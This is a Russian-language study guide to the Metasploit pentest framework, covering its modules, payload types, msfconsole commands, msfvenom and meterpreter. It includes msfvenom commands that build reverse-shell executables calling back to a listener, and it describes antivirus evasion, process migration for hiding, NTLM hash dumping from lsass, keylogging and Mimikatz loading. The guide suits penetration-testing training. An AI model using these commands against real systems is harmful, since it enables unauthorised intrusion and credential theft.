Перейти к содержанию

Metasploit


Metasploit наиболее широко распространенный фреймворк для пентестов. Позволяет проводить полный цикл мероприятий по пентесту, кроме того, позволяет разрабатывать новые эксплойты.

Имеются две основные версии:

  • Metasploit Pro

  • Metasploit framework.

Первая - платная, имеет GUI и позволяет автоматизировать работу.
Вторая - opensource форк с управлением через CLI.

Metasploit представляет из себя набор инструментов выполняющие различные задачи от сканирования и получения данных до эксплуатации уязвимостей и постэксплуатационных мероприятий.

Обрати внимание!

Из-за простоты работы, Metasploit запрещен для использования на серьезных сертификационных экзаменах.

Metasploit состоит из трёх основных частей:

  1. msfconsole - собственно сам CLI который позволяет взаимодействовать с модулями.
  2. Подключаемые модули - эксплойты, сканеры и т.д. предназначенные для выполнения конкретных задач.
  3. Stand-alone tools - представляющие из себя самостоятельные программы (например msfvenom) для решения более широкого круга задач чем модули: исследование и оценка уязвимостей, пентест.

Модули хранятся в /usr/share/metasploit-framework/modules и разделены на категории:

  • Auxiliary (вспомогательные модули) - здесь расположены все поддерживаемые модули: сканеры, crawlers, fuzzers
  • Encoders (модули кодировщики) - необходимы для кодирования эксплойтов и payload для уменьшения вероятности обнаружения сигнатурными методами.
  • Evasion (укрывающие модули) - необходимы для возможности уклонения от обнаружения средтсвами защиты.
  • Exploits (эксплойты) - эксплойты аккуратно организованные по целевым системам.
  • NOOps (бездействующие модули) - позволяют ничем не занимать процессор в течении одного цикла. Необходимы в качестве дополнения к основным модулям в роли буффера для достижения необходимого размера.
  • Payloads (полезные нагрузки) - программы которые будут запускаться на целевой системе.

Payloads в свою очередь делятся на 3 группы:

  • Singles (stageless) - Самодостаточные payloads которые выполняют определенное дейтсвие (добавляет пользователя, запускает условный notepad.exe или calc.exe) для их работы не нужны дополнительные компоненты.
  • Stagers - Payloads которые отвечают за установление соединения с целевым узлом для последующей передачи payload типа stagers. Такое разделение удобно в плане отсутствия в необходимости передачи сразу большого числа данных, что позволяет уменьшить вероятность обнаружения средствами защиты.
  • Stages - Payloads которые передаются после установления соединенения stagers'ом.

    Архитекрута Metasploit повзоляет легко определить к какому типу относится какой либо конкретный payload:

    generic/shell_reverse_tcp - payload типа single т.к. в имени используется символ подчеркивания (все имя в одну строку)

    windows/x64/shell/reverse_tcp - payload типа stager/stage потому как разделен слэшами.

  • Post - модули используемые после выполнения пентеста

Модули ранжированы по степени потенциально негативного воздействия на систему: от самого ненадежного ManualRanking до ExcellentRanking.

Поиск и последующий выбор необходимого модуля позволяет провести команда search, из результатов поиска нужный модуль выбирается командой use module_number

Некоторые модули относятся к типу meterpreter и представляют из себя целые комбайны для взаимодействия с системой. Подробнее ниже.


msfconsole

Типиный алгоритм использования msfconsole:

  1. Если известна информация о системе, через search ищется нужный модуль

    Если разведка не проводилась, можно запустить nmap прям из msfconsole, или поискать модули в секции scanner/[portscan|discovery]

  2. Устанавливаются параметры выбранного модуля.

  3. Модуль запускается командной exploit

  4. Если результатом работы модуля является RCE, автоматически запустится приёмник соединений (модуль exploit/multi/handler) который представляет из себя стабильную оболочку

    Иногда, нужно одновременно запустить и приёмник и сессию meterpreter. В таком случае имеется возможность запустить модуль в фоновом режиме используя ключ exploit -j

Для работы большинства модулей необходимы переменные которые задаются через set и удаляются через unset.

Пространстово имен переменных заданых через set ограничивается используемым модулем.

gset и gunset используются для расширения пространства имен до всех модулей.

Для выбора модулей используется команда use

Для выхода из контекста выбранного модуля используется back

show - группа команда для вывода информации о чем либо. к примеру, show options покажет текущую конфигурацию модуля, в случае если CLI находится в контексте этого модуля

info - отображает полную информацию о модуле

search - поиск модулей по ключевым словам: CVE, названия эксплойтов, имена целевых систем. Для выбора из предлагаемых выриантов, можно использовать use с порядковым номером результата. Есть возможность задавать тип модуля через type=. Другие ключи ищи в -h

exploit - использование модуля. Ключ -z запустит модуль в фоне.

check - Некоторые модули поддерживают эту команду для проверки возможности запуска на целевой системе,

background (ctrl + Z) - позволяет свернуть открытую сессию эксплойта.

sessions - покажет все открытые сессии.
session -i $SESSION_NUMBER перейдет на указанный номер сессии
session -u $SESSION_NUMBER попробует проапгрейдить shell до meterpreter, если в качестве payload при эксплуатации был выбран простой shell.

В msfconsole имеется разделение на рабочие пространства - workspaces, аналогично venv в python, для более удобной работы с несколькими проектами одновременно.

msfconsole поддерживает работу с БД. Для первоначальной конфигурации существует команда db_init
После конфигурирования, становится доступен различный дополнительный функционал который можно найти в хэлпе в разделе Database Backend commands.


msfvenom

Инструмент (standalone tool из состава Metasploit framework) для генерации различных эксплойтов, в том числе для генерации bind и reverse shell в различных форматах (exe, py, aspx и т.д.)

Модули из msfvenov можно генерировать и загружать напрямую (или приносить на флешке) в целевую систему, либо использовать их в msfconsole найдя их через search.

Помни про типы payload!

В случае если msfvenom используется напрямую, скорее всего понадобится single(stageless) версии payload

Стандартный синтаксис для генерации payload:

msfvenom -p <payload> <options>.
В options обычно входят формат и имя выходного файла, адрес, порт:
msfvenom -p windows/x64/shell/reverse_tcp \
-f exe -o shell.exe \
LHOST=<listen-IP> LPORT=<listen-port>

Посмотреть опции отдельного модуля можно ключом --list-options

Для просмотра доступных payloads используется ключ --list payloads. Payloads разделены по ОС, платформам, типам:

Linux elf file
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf


multi hadler

Инструмент для получения соединений (catching) от reverse shell сгенерированных через msfvenom Вызывается из msfconsole командой use exploit/multi/hadler. В качестве обязательных опций: payload, LHOST, RHOST.


meterpreter

Advanced payload который представляет из себя не просто shell, а настоящий комбайн поддерживающий собственные команды, скрипты. К примеру есть возможноть загрузить/скачать файл на/с целевой системы, сдампить NTLM хэши локальных учеток из SAM файла в Windows, искать файлы одной командой и т.д. Подробнее в документации.

К сведению

Meterpreter не создает файлов на винте, а существует только в оперативке. При этом способен мимикрировать под любой процесс.
Не смотря на вышеуказанное, детектится антивирусным ПО на раз-два.

Для просмотра всех имеющихся payload имеющих типа meterpreter можно грепнуть результат команды

msfvenom --list payloads | grep meterpreter

К сведению

С учетом того, что реализация meterpreter в каждом отдельном модуле своеобразная, хорошей привычкой будет использовать help в каждой новой сессии meterpreter-a.

Далее некоторые полезные команды:

getuid - возвращает имя пользователя из под которого выполняется сессия.

migrate - крайне полезная команда позволяющая внедрится в указанный процесс (задается PID процесса). Это не только позволяет скрыть выполняющийся процесс в списке процессов, но и позволит получить права пользователя того процесса в который была совершена миграция.

К примеру будучи внедренным в lsass.exe позволит воспользоваться командой hashdump для получения NTLM хэшей локальных пользователей. Или воспользовавшись командами keystroke запустить и получить результаты keylogger-a.

load - позволяет запускать дополнительные модули/скрипты.

К примеру, можно передать целиком Python, Powershell или kiwi (Mimikatz).
После передачи модуля, полезно снова почитать help!

getsystem - Попытается получить максимально возможные права типа NT AUTORITHY\SYSTEM. Конечно же это работает не всегда, иначе всё было бы слишком просто)